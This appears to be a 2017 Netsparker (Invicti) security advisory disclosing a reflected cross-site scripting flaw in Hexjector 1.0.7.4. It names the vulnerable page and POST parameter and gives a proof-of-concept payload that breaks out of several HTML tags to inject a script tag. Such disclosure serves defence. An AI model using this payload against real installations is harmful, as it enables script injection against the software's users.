MuReflected XSS Vulnerability in Hexjector 1.0.7.4

Information

Advisory by Netsparker (now Invicti)
Name: Reflected XSS Vulnerability in Hexjector
Affected Software: Hexjector 1.0.7.4
Affected Versions: 1.0.7.4
Vendor Homepage: https://sourceforge.net/projects/hexjector/ 
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Not Fixed
Invicti Advisory Reference: NS-17-008

Technical Details

Proof of Concept URL for XSS vulnerability in Hexjector 1.0.7.4;

URL: /Hexjector-v1.0.7.4/Url_Decode.php
Parameter Name: deurl
Parameter Type: POST
Attack Pattern: </title></textarea></noscRipt><scRipt>alert(9)</scRipt>

For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).

Advisory Timeline

08 Feb 2017 – Advisory released

Credits & Authors

This issue has been discovered by Enes Aslanbakan while testing Invicti Web Application Security Scanner.

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